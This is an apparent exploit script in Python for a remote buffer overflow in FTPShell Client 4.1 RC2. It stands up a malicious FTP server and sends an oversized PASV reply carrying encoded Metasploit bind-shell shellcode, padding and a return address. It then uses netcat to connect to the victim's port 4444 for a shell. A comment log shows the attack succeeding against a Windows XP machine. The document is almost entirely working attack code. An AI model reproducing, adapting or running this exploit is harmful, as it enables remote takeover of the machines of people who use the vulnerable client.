#!/usr/bin/python # _ _ _ __ _ _ _ #| || | (_) ___ / \ | |__ | | | #| __ | | | (_-< | () | | / / |_ _| #|_||_| |_| /__/ \__/ |_\_\ |_| # #[+] Bug : FTPShell Client 4.1 RC2 Remote Buffer Overflow Exploit (univ) #[+] Author : His0k4 #[+] Tested on : xp_sp3,w2k_sp4 #[+] Greetz : All friends # piece of "zlabiya" #---exploit-log--- #attacker@dz-labs:~/pentests/fuzzers/ftp$ python FTPShell_client.py #[+] Listening on [FTP] 21 #[+] Connection accepted from: 192.168.1.3 #[+] Sending the malicious pasv response... #[+] Done, wait for trying to connect to port 4444 on the target... # #(UNKNOWN) [192.168.1.3] 4444 (?) open #Microsoft Windows XP [Version 5.1.2600] #(C) Copyright 1985-2001 Microsoft Corp. # #C:\Documents and Settings\victim\Desktop> from socket import * import os import time # win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com stage2 =( "\x44\x7A\x32\x37\x44\x7A\x32\x37" "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38" "\x4e\x46\x46\x42\x46\x32\x4b\x48\x45\x34\x4e\x43\x4b\x58\x4e\x57" "\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x31\x4b\x38" "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x38" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x32\x4a\x32\x45\x57\x45\x4e\x4b\x48" "\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x44" "\x4b\x58\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x43\x30\x4e\x42\x4b\x38" "\x49\x58\x4e\x56\x46\x52\x4e\x31\x41\x36\x43\x4c\x41\x53\x4b\x4d" "\x46\x36\x4b\x38\x43\x34\x42\x53\x4b\x58\x42\x34\x4e\x30\x4b\x48" "\x42\x37\x4e\x31\x4d\x4a\x4b\x38\x42\x44\x4a\x30\x50\x35\x4a\x36" "\x50\x48\x50\x44\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46" "\x43\x55\x48\x46\x4a\x46\x43\x43\x44\x33\x4a\x56\x47\x57\x43\x57" "\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x48\x45\x4e" "\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x50\x45\x55\x4c\x56\x44\x30" "\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45" "\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x35\x43\x35\x43\x55\x43\x54" "\x43\x55\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x51" "\x4e\x55\x48\x46\x43\x55\x49\x38\x41\x4e\x45\x39\x4a\x36\x46\x4a" "\x4c\x51\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x51" "\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d" "\x4a\x36\x45\x4e\x49\x44\x48\x38\x49\x44\x47\x55\x4f\x4f\x48\x4d" "\x42\x55\x46\x55\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46" "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x55" "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x36\x48\x46\x4a\x56\x43\x36" "\x4d\x36\x49\x58\x45\x4e\x4c\x46\x42\x35\x49\x55\x49\x52\x4e\x4c" "\x49\x58\x47\x4e\x4c\x46\x46\x44\x49\x58\x44\x4e\x41\x43\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x34\x4e\x32" "\x43\x39\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56" "\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x57\x46\x54\x4f\x4f" "\x48\x4d\x4b\x55\x47\x55\x44\x35\x41\x45\x41\x35\x41\x55\x4c\x46" "\x41\x30\x41\x55\x41\x35\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36" "\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46" "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x45\x4e\x4f" "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d" "\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x55\x43\x55\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a") stage1=( #[*] Using Msf::Encoder::PexAlphaNum with final size of 141 bytes "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x48\x36\x41\x38\x4c\x4c" "\x4f\x4f\x4f\x50\x44\x34\x44\x55\x4c\x46\x44\x50\x4a\x35\x4d\x4c" "\x50\x52\x4e\x33\x45\x30\x4c\x35\x46\x37\x4f\x4e\x4a\x4b\x46\x54" "\x4c\x47\x44\x43\x47\x33\x4b\x58\x4c\x4f\x4f\x4a\x45\x37\x4c\x4e" "\x4f\x4a\x45\x57\x47\x4e\x4f\x4f\x47\x4e\x4c\x50\x5a") buffer = stage1 #<---------------------------------| buffer += '\x41'*(412-len(stage1)) # | buffer += '\xC5\xB3\x43\x00' # add esp,8;retn----| s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", 21)) s.listen(1) print "[+] Listening on [FTP] 21" c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.send("220 Hey victim batet fik!\r\n") c.recv(1024) time.sleep(0.5) c.send("331 User anonymous OK Password required\r\n") c.recv(1024) time.sleep(0.5) c.send("230 Ok.\r\n") c.recv(1024) # Enable this when client performs CWD command #time.sleep(1) #c.send("250 CWD command successful.\r\n") #c.recv(1024) time.sleep(0.5) c.send("257 \x22/\x22 is current directory\r\n") c.recv(1024) time.sleep(0.5) c.send("200 Type set to A.\r\n") c.recv(1024) time.sleep(0.5) print "[+] Sending the malicious pasv response..." c.send("227 "+stage2+"\r\n" "227 Entering Passive Mode ("+buffer+").\r\n" "\r\n") time.sleep(2) c.close() s.close() print("[+] Done, wait for trying to connect to the target on port 4444...\n") time.sleep(25) os.system("nc -nv "+addr[0]+" 4444")